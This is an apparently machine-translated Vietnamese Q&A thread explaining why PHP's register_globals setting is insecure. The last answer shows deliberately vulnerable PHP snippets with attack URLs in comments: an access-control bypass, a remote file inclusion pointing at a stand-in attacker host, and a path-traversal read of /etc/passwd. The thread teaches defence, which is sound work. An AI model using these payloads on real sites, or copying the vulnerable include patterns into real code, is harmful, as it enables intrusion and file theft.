Tại sao REGISTER_GLOBALS lại tệ đến vậy?

Question

Tôi không phải là một nhà phát triển PHP nhưng tôi đã thấy ở một vài nơi mà mọi người dường như đối xử với nó như bệnh dịch hạch hay gì đó. Tại sao?

Answer 1

REGISTER_GLOBALS có nghĩa là tất cả các biến được chuyển qua GET hoặc POST đều có thể avilable dưới dạng biến toàn cục trong tập lệnh của bạn. Kể từ khi truy cập biến không khai báo không phải là một lỗi trong PHP (đó là một cảnh báo), nó có thể dẫn đến tình huống rất khó chịu. Xem xét việc này, ví dụ:

<?php 
// $debug = true; 
if ($debug) { 
    echo "query: $query\n"; 
} 

Nó không phải là một điều xấu cho mỗi gia nhập (cũng thiết kế mã không nên tạo ra cảnh báo, do đó không nên truy cập vào bất kỳ biến mà có thể được không khai báo (và không nên cầnREGISTER_GLOBALS cho cùng một lý do)), nhưng mã PHP thường [rất] chất lượng thấp, dẫn đến loại lỗ hổng bảo mật này.

Answer 2

Bởi vì nó cho phép người dùng tiêm bất kỳ biến toàn cầu nào trong mã của bạn mà không có bất kỳ kiểm soát nào.

Dựa trên chất lượng của mã, nó có thể đưa ra các lỗi bảo mật chính.

Answer 3

Bật REGISTER_GLOBALS hiển thị các trang web được PHP phân phối tới các lỗ hổng mà một số kẻ xấu sẽ muốn khai thác.

Với nó được kích hoạt, bất kỳ chuỗi truy vấn vào cuối URL:

http://yourdomain/something.php?valid=true 

sẽ ảnh hưởng đến giá trị của một biến $ hợp lệ (ví dụ) trong something.php, nếu nó tồn tại.

Nếu bạn đang sử dụng mã PHP có sẵn công khai (ví dụ như thư viện), tên của các biến sẽ được biết rõ và tin tặc có thể kiểm soát giá trị của chúng bằng cách gán giá trị trong chuỗi truy vấn. Họ có thể bỏ qua xác thực.

Thậm chí nếu bạn không sử dụng mã công cộng, có thể đoán tên của các biến quan trọng và kiểm soát giá trị của chúng.

Nó từng là mặc định để có register_globals được kích hoạt trong PHP.INI

thực hành gần đây đã được vô hiệu hóa nó theo mặc định. Kích hoạt nó có nguy cơ của riêng bạn!

Answer 4

Chỉ cần thêm, đây là một số tình huống mà có REGISTER_GLOBALS kích hoạt có thể làm hỏng ngày của bạn:

Sử dụng chuỗi truy vấn để bỏ qua điều khiển truy cập (hack bằng http://example.com/?logged=1):

<?php 
$logged = User::getLogged(); 
if ($logged) 
{ 
    include '/important/secret.php'; 
} 
?> 

từ xa Bao gồm tệp (RFI):

<?php 
    //http://example.com/?path=http://evilbadthings.example.com/ 
    include "$path"; 
?> 

Local file Inclusion (LFI):

<?php 
    //http://example.com/?path=../../../../etc/passwd 
    include "$path"; 
?>